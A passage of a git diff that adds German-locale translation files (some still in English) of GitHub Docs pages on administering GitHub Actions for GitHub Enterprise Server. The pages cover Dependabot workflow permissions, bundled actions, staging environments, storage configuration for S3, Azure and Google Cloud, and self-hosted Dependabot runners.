+By default, {% data variables.product.prodname_actions %} workflow runs that are triggered by {% data variables.product.prodname_dependabot %} from `push`, `pull_request`, `pull_request_review`, or `pull_request_review_comment` events are treated as if they were opened from a repository fork. Unlike workflows triggered by other actors, this means they receive a read-only `GITHUB_TOKEN` and do not have access to any secrets that are normally available. This will cause any workflows that attempt to write to the repository to fail when they are triggered by {% data variables.product.prodname_dependabot %}.
+
+There are three ways to resolve this problem:
+
+1. You can update your workflows so that they are no longer triggered by {% data variables.product.prodname_dependabot %} using an expression like: `if: github.actor != 'dependabot[bot]'`. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+2. You can modify your workflows to use a two-step process that includes `pull_request_target` which does not have these limitations. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions#responding-to-events)."
+3. You can provide workflows triggered by {% data variables.product.prodname_dependabot %} access to secrets and allow the `permissions` term to increase the default scope of the `GITHUB_TOKEN`. For more information, see "[Providing workflows triggered by{% data variables.product.prodname_dependabot %} access to secrets and increased permissions](#providing-workflows-triggered-by-dependabot-access-to-secrets-and-increased-permissions)" below.
+
+### Providing workflows triggered by {% data variables.product.prodname_dependabot %} access to secrets and increased permissions
+
+1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
+1. To remove the limitations on workflows triggered by {% data variables.product.prodname_dependabot %} on {% data variables.location.product_location %}, use the following command.
+    ``` shell
+    $ ghe-config app.actions.disable-dependabot-enforcement true
+    ```
+1. Apply the configuration.
+    ```shell
+    $ ghe-config-apply
+    ```
+1. Return to {% data variables.product.prodname_ghe_server %}.
+
+{% endif %}
+
+{% ifversion ghes > 3.3 %}
+
+<a name="bundled-actions"></a>
+
+## Troubleshooting bundled actions in {% data variables.product.prodname_actions %}
+
+If you receive the following error when installing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_ghe_server %}, you can resolve the problem by installing the official bundled actions and starter workflows.
+
+```shell
+A part of the Actions setup had problems and needs an administrator to resolve.
+```
+
+To install the official bundled actions and starter workflows within a designated organization in {% data variables.product.prodname_ghe_server %}, follow this procedure.
+
+1. Identify an organization that will store the official bundled actions and starter worflows. You can create a new organization or reuse an existing one. 
+    - To create a new organization, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." 
+    - For assistance with choosing a name for this organization, see "[Reserved Names](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#reserved-names)." 
+
+1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
+1. To designate your organization as the location to store the bundled actions, use the `ghe-config` command, replacing `ORGANIZATION` with the name of your organization.
+    ```shell
+    $ ghe-config app.actions.actions-org ORGANIZATION
+    ```
+    and:
+    ```shell
+    $ ghe-config app.actions.github-org ORGANIZATION
+    ```
+1.  To add the bundled actions to your organization, unset the SHA.
+    ```shell
+    $ ghe-config --unset 'app.actions.actions-repos-sha1sum'
+    ```
+1. Apply the configuration.
+    ```shell
+    $ ghe-config-apply
+    ```
+
+After you've completed these steps, you can resume configuring {% data variables.product.prodname_actions %} at "[Managing access permissions for GitHub Actions in your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#managing-access-permissions-for-github-actions-in-your-enterprise)."
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md b/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md
new file mode 100644
index 0000000000..c9f9e75ca4
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md
@@ -0,0 +1,52 @@
+---
+title: Using a staging environment
+intro: 'Learn about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %} staging instances.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+  - Infrastructure
+  - Upgrades
+redirect_from:
+  - /admin/github-actions/using-a-staging-environment
+shortTitle: Use staging environment
+---
+
+## About staging environments for {% data variables.product.product_name %}
+
+It can be useful to have a staging or testing environment for {% data variables.location.product_location %}, so that you can test updates or new features before implementing them in your production environment. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)."
+
+## Using a staging environment with {% data variables.product.prodname_actions %}
+
+A common way to create the staging environment is to restore a backup of your production {% data variables.product.product_name %} instance to a new virtual machine in the staging environment. If you use a staging instance and plan to test {% data variables.product.prodname_actions %} functionality, you should review your storage configuration in the staging environment.
+
+After you restore a {% data variables.product.prodname_ghe_server %} backup to the staging instance, if you try to view logs or artifacts from existing {% data variables.product.prodname_actions %} workflow runs on your staging instance, you will see `404` errors, because this data will be missing from your staging storage location. To work around the `404` errors, you can copy data from production to use in your staging environment.
+
+### Configuring storage
+
+When you set up a staging environment that includes a {% data variables.product.product_name %} instance with {% data variables.product.prodname_actions %} enabled, you must use a different external storage configuration for {% data variables.product.prodname_actions %} storage than your production environment.
+
+{% warning %}
+
+**Warning**: If you don't change the storage configuration, your staging instance may be able to write to the same external storage that you use for production, which could result in loss of data.
+
+{% endwarning %}
+
+For more information about storage configuration for {% data variables.product.prodname_actions %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#enabling-github-actions-with-your-storage-provider)."
+
+### Copying files from production to staging
+
+To more accurately mirror your production environment, you can optionally copy files from your production storage location for {% data variables.product.prodname_actions %} to the staging storage location.
+
+* For an Azure storage account, you can use [`azcopy`](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-blobs#copy-all-containers-directories-and-blobs-to-another-storage-account). For example:
+
+  ```shell
+  azcopy copy 'https://<em>SOURCE-STORAGE-ACCOUNT-NAME</em>.blob.core.windows.net/<em>SAS-TOKEN</em>' 'https://<em>DESTINATION-STORAGE-ACCOUNT-NAME</em>.blob.core.windows.net/' --recursive
+  ```
+* For Amazon S3 buckets, you can use [`aws s3 sync`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/sync.html). For example:
+
+  ```shell
+  aws s3 sync s3://SOURCE-BUCKET s3://DESTINATION-BUCKET
+  ```
diff --git a/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md b/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md
new file mode 100644
index 0000000000..aa08c68cf0
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md
@@ -0,0 +1,52 @@
+---
+title: "Aktivieren von GitHub Actions mit Amazon\_S3-Speicher"
+intro: 'Du kannst {% data variables.product.prodname_actions %} auf {% data variables.product.prodname_ghe_server %} aktivieren und Amazon S3 zum Speichern von Daten verwenden, die durch Workflowausführungen generiert wurden.'
+permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+  - Infrastructure
+  - Storage
+redirect_from:
+  - /admin/github-actions/enabling-github-actions-with-amazon-s3-storage
+shortTitle: Amazon S3 storage
+ms.openlocfilehash: 23fd8eabe502a6a29610de451cae72542ceca53f
+ms.sourcegitcommit: 8f7c8d52755cc3af0f366cc74c6db9e9be4d2ecd
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/04/2022
+ms.locfileid: '148132648'
+---
+## Voraussetzungen
+
+{% note %}
+
+**Hinweis:** Die einzigen von {% data variables.product.prodname_dotcom %} unterstützten S3-Speicheranbieter sind Amazon S3 und MinIO Gateway für NAS.
+
+{% data reusables.actions.enterprise-s3-tech-partners %}
+
+{% endnote %}
+
+Stelle vor dem Aktivieren von {% data variables.product.prodname_actions %} sicher, dass du die folgenden Schritte ausgeführt hast:
+
+* Erstelle deinen Amazon S3-Bucket zum Speichern von Daten, die von Workflowausführungen generiert werden. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %}
+  
+{% data reusables.actions.enterprise-common-prereqs %}
+
+## Aktivieren von {% data variables.product.prodname_actions %} mit dem Amazon S3-Speicher
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %}
+1. Wähle unter "Artefakt- und Protokollspeicher" die Option **Amazon S3** aus, und gib die Details des Speicherbuckets ein:
+
+   * **URL des AWS-Diensts**: Die Dienst-URL für deinen Bucket. Wurde dein S3-Bucket z. B. in der `us-west-2`-Region erstellt, sollte dieser Wert `https://s3.us-west-2.amazonaws.com` lauten.
+
+     Weitere Informationen findest du in der AWS-Dokumentation unter [AWS-Dienstendpunkte](https://docs.aws.amazon.com/general/latest/gr/rande.html).
+   * **AWS S3 Bucket**: Der Name deines S3-Buckets.
+   * **AWS S3-Zugriffsschlüssel** und **Geheimer AWS S3-Schlüssel**: Die ID des AWS-Zugriffsschlüssels und der geheime Schlüssel für deinen Bucket. Weitere Informationen zur Verwaltung von AWS-Zugriffsschlüsseln findest du in der [Dokumentation zu AWS Identity and Access Management](https://docs.aws.amazon.com/iam/index.html).
+
+   ![Optionsfeld zum Auswählen von Amazon S3 Storage und Felder zur S3-Konfiguration](/assets/images/enterprise/management-console/actions-aws-s3-storage.png) {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %}
+
+{% data reusables.actions.enterprise-postinstall-nextsteps %}
diff --git a/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md b/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md
new file mode 100644
index 0000000000..8d7a63f365
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md
@@ -0,0 +1,47 @@
+---
+title: Aktivieren von GitHub Actions mit Azure Blob Storage
+intro: 'Du kannst {% data variables.product.prodname_actions %} auf {% data variables.product.prodname_ghe_server %} aktivieren und Azure Blob Storage zum Speichern von Daten verwenden, die durch Workflowausführungen generiert wurden.'
+permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+  - Infrastructure
+  - Storage
+redirect_from:
+  - /admin/github-actions/enabling-github-actions-with-azure-blob-storage
+shortTitle: Azure Blob storage
+ms.openlocfilehash: b6abccdfea0d33b387fc3ec6df563fcbaf57f861
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109542'
+---
+## Voraussetzungen
+
+Stelle vor dem Aktivieren von {% data variables.product.prodname_actions %} sicher, dass du die folgenden Schritte ausgeführt hast:
+
+* Erstellen deines Azure-Speicherkontos zum Speichern von Workflowdaten. {% data variables.product.prodname_actions %} speichert seine Daten als Blockblobs, und zwei Speicherkontotypen werden unterstützt:
+  * Ein **allgemeines** Speicherkonto (auch bekannt als `general-purpose v1` oder `general-purpose v2`) mit der **Standard**-Leistungsstufe.
+
+    {% warning %}
+
+    **Warnung:** Die Verwendung der **Premium**-Leistungsstufe mit einem allgemeinen Speicherkonto wird nicht unterstützt. Die **Standard**-Leistungsstufe muss beim Erstellen des Speicherkontos ausgewählt werden und kann später nicht geändert werden.
+
+    {% endwarning %}
+  * Ein **BlockBlobStorage**-Speicherkonto, das die **Premium**-Leistungsstufe verwendet.
+
+  Weitere Informationen zu Azure-Speicherkontotypen und Leistungsstufen findest du in der [Azure-Dokumentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview?toc=/azure/storage/blobs/toc.json#types-of-storage-accounts).
+{% data reusables.actions.enterprise-common-prereqs %}
+
+## Aktivieren von {% data variables.product.prodname_actions %} mit Azure Blob Storage
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %}
+1. Wähle unter „Artefakt- und Protokollspeicher" **Azure Blob Storage** aus, und gib die Verbindungszeichenfolge deines Azure-Speicherkontos ein. Weitere Informationen zum Abrufen der Verbindungszeichenfolge für dein Speicherkonto findest du in der [Azure-Dokumentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal#view-account-access-keys).
+
+   ![Optionsfeld zum Auswählen von Azure Blob Storage und das Feld „Verbindungszeichenfolge“](/assets/images/enterprise/management-console/actions-azure-storage.png) {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %}
+
+{% data reusables.actions.enterprise-postinstall-nextsteps %}
diff --git a/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md b/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md
new file mode 100644
index 0000000000..e9339fc354
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md
@@ -0,0 +1,57 @@
+---
+title: Aktivieren von GitHub Actions mit Google Cloud Storage
+intro: 'Du kannst {% data variables.product.prodname_actions %} auf {% data variables.product.prodname_ghe_server %} aktivieren und Google Cloud Storage zum Speichern von Daten verwenden, die durch Workflowausführungen generiert wurden.'
+permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
+versions:
+  feature: actions-ghes-gcp-storage
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+  - Infrastructure
+  - Storage
+shortTitle: Google Cloud Storage
+ms.openlocfilehash: abbac860ed3f6f1caaec1152b426762535b8fba4
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109724'
+---
+{% note %}
+
+**Hinweis:** {% data variables.product.prodname_actions %}-Support für Google Cloud Storage befindet sich derzeit in der Betaversion und unterliegt Änderungen.
+
+{% endnote %}
+
+## Voraussetzungen
+
+Stelle vor dem Aktivieren von {% data variables.product.prodname_actions %} sicher, dass du die folgenden Schritte ausgeführt hast:
+
+* Erstelle Deinen Google Cloud Storage-Bucket zum Speichern von Daten, die von Workflowausführungen generiert werden.
+* Erstelle ein Google Cloud-Dienstkonto, das auf den Bucket zugreifen kann, und einen Hash-based Message Authentication Code (HMAC) für das Dienstkonto. Weitere Informationen findest du in der Google Cloud-Dokumentation unter [Verwalten von HMAC-Schlüsseln für Dienstkonten](https://cloud.google.com/storage/docs/authentication/managing-hmackeys).
+
+  Das Dienstkonto muss über die folgenden [Berechtigungen für Identitäts- und Zugriffsverwaltung (IAM)](https://cloud.google.com/storage/docs/access-control/iam-permissions) für den Bucket verfügen:
+
+  * `storage.objects.create`
+  * `storage.objects.get`
+  * `storage.objects.list`
+  * `storage.objects.update`
+  * `storage.objects.delete`
+  * `storage.multipartUploads.create`
+  * `storage.multipartUploads.abort`
+  * `storage.multipartUploads.listParts`
+  * `storage.multipartUploads.list` {% data reusables.actions.enterprise-common-prereqs %}
+
+## Aktivieren von {% data variables.product.prodname_actions %} mit Google Cloud Storage
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %}
+1. Wähle unter „Artefakt- und Protokollspeicher“ die Option **Google Cloud Storage** aus, und gib die Details deines Buckets ein:
+
+   * **Dienst-URL**: Die Dienst-URL für deinen Bucket. Dies ist normalerweise `https://storage.googleapis.com`.
+   * **Bucketname**: Der Name deines Buckets.
+   * **HMAC Access ID** und **HMAC Secret**: Die Google Cloud-Zugriffs-ID und der geheime Schlüssel für dein Speicherkonto. Weitere Informationen findest du in der Google Cloud-Dokumentation unter [Verwalten von HMAC-Schlüsseln für Dienstkonten](https://cloud.google.com/storage/docs/authentication/managing-hmackeys).
+
+   ![Optionsfeld zum Auswählen von Google Cloud Storage und Felder zur Konfiguration](/assets/images/enterprise/management-console/actions-google-cloud-storage.png) {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %}
+
+{% data reusables.actions.enterprise-postinstall-nextsteps %}
diff --git a/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md b/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md
new file mode 100644
index 0000000000..d461f0d29a
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md
@@ -0,0 +1,22 @@
+---
+title: Aktivieren von GitHub Actions für GitHub Enterprise Server
+intro: 'Erfahre, wie du Speicher konfigurierst und {% data variables.product.prodname_actions %} für {% data variables.product.prodname_ghe_server %} aktivierst.'
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /enabling-github-actions-with-azure-blob-storage
+  - /enabling-github-actions-with-amazon-s3-storage
+  - /enabling-github-actions-with-google-cloud-storage
+  - /enabling-github-actions-with-minio-storage
+  - /managing-self-hosted-runners-for-dependabot-updates
+shortTitle: Enable GitHub Actions
+ms.openlocfilehash: 56512f06952512bec06068273f8df381a7ba4706
+ms.sourcegitcommit: 8f1801040a84ca9353899a2d1e6782c702aaed0d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/16/2022
+ms.locfileid: '148166545'
+---
+
diff --git a/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md b/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md
new file mode 100644
index 0000000000..dec9d74057
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md
@@ -0,0 +1,82 @@
+---
+title: Managing self-hosted runners for Dependabot updates on your enterprise
+intro: 'You can create dedicated runners for {% data variables.location.product_location %} that {% data variables.product.prodname_dependabot %} uses to create pull requests to help secure and maintain the dependencies used in repositories on your enterprise.'
+redirect_from:
+  - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates
+allowTitleToDifferFromFilename: true
+miniTocMaxHeadingLevel: 3
+versions:
+  ghes: '> 3.2'
+topics:
+  - Enterprise
+  - Security
+  - Dependabot
+  - Dependencies
+shortTitle: Dependabot updates
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+
+## About self-hosted runners for {% data variables.product.prodname_dependabot_updates %}
+
+You can help users of {% data variables.location.product_location %} to create and maintain secure code by setting up {% data variables.product.prodname_dependabot %} security and version updates. With {% data variables.product.prodname_dependabot_updates %}, developers can configure repositories so that their dependencies are updated and kept secure automatically. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
+
+To use {% data variables.product.prodname_dependabot_updates %} on {% data variables.location.product_location %}, you must configure self-hosted runners to create the pull requests that will update dependencies.
+
+## Prerequisites
+
+{% ifversion dependabot-updates-github-connect %}
+Configuring self-hosted runners is only one step in the middle of the process for enabling {% data variables.product.prodname_dependabot_updates %}. There are several steps you must follow before these steps, including configuring {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %} with self-hosted runners. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
+{% else %}
+Before you configure self-hosted runners for {% data variables.product.prodname_dependabot_updates %}, you must:
+
+- Configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %} with self-hosted runners. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
+- Enable {% data variables.product.prodname_dependabot_alerts %} for your enterprise. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
+{% endif %}
+
+## Configuring self-hosted runners for {% data variables.product.prodname_dependabot_updates %}
+
+After you configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %}, you need to add self-hosted runners for {% data variables.product.prodname_dependabot_updates %}.
+
+### System requirements for {% data variables.product.prodname_dependabot %} runners
+
+Any VM that you use for {% data variables.product.prodname_dependabot %} runners must meet the requirements for self-hosted runners. In addition, they must meet the following requirements.
+
+- Linux operating system{% ifversion ghes < 3.5 %}
+- Git installed{% endif %}
+- Docker installed with access for the runner users:
+  - We recommend installing Docker in rootless mode and configuring the runners to access Docker without `root` privileges.
+  - Alternatively, install Docker and give the runner users raised privileges to run Docker.
+
+The CPU and memory requirements will depend on the number of concurrent runners you deploy on a given VM. As guidance, we have successfully set up 20 runners on a single 2 CPU 8GB machine, but ultimately, your CPU and memory requirements will heavily depend on the repositories being updated. Some ecosystems will require more resources than others.
+
+If you specify more than 14 concurrent runners on a VM, you must also update the Docker `/etc/docker/daemon.json` configuration to increase the default number of networks Docker can create.
+
+```
+{
+  "default-address-pools": [
+    {"base":"10.10.0.0/16","size":24}
+  ]
+}
+```
+
+### Network requirements for {% data variables.product.prodname_dependabot %} runners
+
+{% data variables.product.prodname_dependabot %} runners require access to the public internet, {% data variables.product.prodname_dotcom_the_website %}, and any internal registries that will be used in {% data variables.product.prodname_dependabot %} updates. To minimize the risk to your internal network, you should limit access from the Virtual Machine (VM) to your internal network. This reduces the potential for damage to internal systems if a runner were to download a hijacked dependency.
+
+### Adding self-hosted runners for {% data variables.product.prodname_dependabot %} updates
+
+1. Provision self-hosted runners, at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+
+2. Set up the self-hosted runners with the requirements described above. For example, on a VM running Ubuntu 20.04 you would:{% ifversion ghes < 3.5 %}
+
+   - Verify that Git is installed: `command -v git`{% endif %}
+   - Install Docker and ensure that the runner users have access to Docker. For more information, see the Docker documentation.
+     - [Install Docker Engine on Ubuntu](https://docs.docker.com/engine/install/ubuntu/)
+     - Recommended approach: [Run the Docker daemon as a non-root user (Rootless mode)](https://docs.docker.com/engine/security/rootless/)
+     - Alternative approach: [Manage Docker as a non-root user](https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user)
+   - Verify that the runners have access to the public internet and can only access the internal networks that {% data variables.product.prodname_dependabot %} needs.
+
+3. Assign a `dependabot` label to each runner you want {% data variables.product.prodname_dependabot %} to use. For more information, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner)."
+
+4. Optionally, enable workflows triggered by {% data variables.product.prodname_dependabot %} to use more than read-only permissions and to have access to any secrets that are normally available. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#enabling-workflows-triggered-by-dependabot-access-to-dependabot-secrets-and-increased-permissions)."
diff --git a/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md
new file mode 100644
index 0000000000..b4ef838f74
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md
@@ -0,0 +1,55 @@
+---
+title: About GitHub Actions for enterprises
+shortTitle: About GitHub Actions
+intro: '{% data variables.product.prodname_actions %} can improve developer productivity by automating your enterprise''s software development cycle.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Actions
+  - Enterprise
+---
+
+
+## About {% data variables.product.prodname_actions %} for enterprises
+
+{% data reusables.actions.about-actions-for-enterprises %}
+
+| Task | More information |
+| ---- | ---------------- |
+| Automatically test and build your application | "[About continuous integration](/actions/automating-builds-and-tests/about-continuous-integration)" | 
+| Deploy your application | "[About continuous deployment](/actions/deployment/about-deployments/about-continuous-deployment)" |
+| Automatically and securely package code into artifacts and containers | "[About packaging with {% data variables.product.prodname_actions %}](/actions/publishing-packages/about-packaging-with-github-actions)" |
+| Automate your project management tasks | "[Using {% data variables.product.prodname_actions %} for project management](/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management)" |
+
+{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, teams merge significantly more pull requests per day, and the pull requests are merged significantly faster. For more information, see "[Writing and shipping code faster](https://octoverse.github.com/2021/writing-code-faster/#scale-through-automation)" in the State of the Octoverse.
+
+You can create your own unique automations, or you can use and adapt workflows from our ecosystem of over 10,000 actions built by industry leaders and the open source community. {% ifversion ghec %}For more information, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."{% else %}You can restrict your developers to using actions that exist on {% data variables.location.product_location %}, or you can allow your developers to access actions on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."{% endif %}
+
+{% data variables.product.prodname_actions %} is developer friendly, because it's integrated directly into the familiar {% data variables.product.product_name %} experience.
+
+{% ifversion ghec %}You can enjoy the convenience of {% data variables.product.company_short %}-hosted runners, which are maintained and upgraded by {% data variables.product.company_short %}, or you{% else %}You{% endif %} can control your own private CI/CD infrastructure by using self-hosted runners. Self-hosted runners allow you to determine the exact environment and resources that complete your builds, testing, and deployments, without exposing your software development cycle to the internet. For more information, see {% ifversion ghec %}"[About {% data variables.product.company_short %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and{% endif %} "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+
+{% data variables.product.prodname_actions %} provides greater control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets.{% ifversion ghec or ghes > 3.4 %} If your workflows need to access resources from a cloud provider that supports OpenID Connect (OIDC), you can configure your workflows to authenticate directly to the cloud provider. OIDC provides security benefits such as eliminating the need to store credentials as long-lived secrets. For more information, see "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)."{% endif %}
+
+{% data variables.product.prodname_actions %} also includes tools to govern your enterprise's software development cycle and meet compliance obligations. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)."
+
+## About getting started with {% data variables.product.prodname_actions %}
+
+{% data reusables.actions.introducing-enterprise %}
+
+{% data reusables.actions.migrating-enterprise %}
+
+{% ifversion ghes %}
+{% data reusables.actions.ghes-actions-not-enabled-by-default %} After you finish planning, you can follow the instructions for enabling {% data variables.product.prodname_actions %}. For example, you may need to upgrade the CPU and memory resources for {% data variables.location.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server)."
+
+{% else %}
+After you finish planning, you can follow the instructions for getting started with {% data variables.product.prodname_actions %}. For more information, see {% ifversion ghec %}"[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_cloud %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud)."{% elsif ghae %}"[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae)."{% endif %}
+{% endif %}
+
+## Further reading
+
+- "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)"{% ifversion ghec %}
+- "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)"{% endif %}
diff --git a/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md
new file mode 100644
index 0000000000..8593b8b5e0
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md
@@ -0,0 +1,38 @@
+---
+title: Erste Schritte mit GitHub Actions für GitHub AE
+shortTitle: Get started
+intro: 'Informationen zum Konfigurieren von {% data variables.product.prodname_actions %} auf {% data variables.product.prodname_ghe_managed %}.'
+permissions: 'Enterprise owners can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
+versions:
+  ghae: '*'
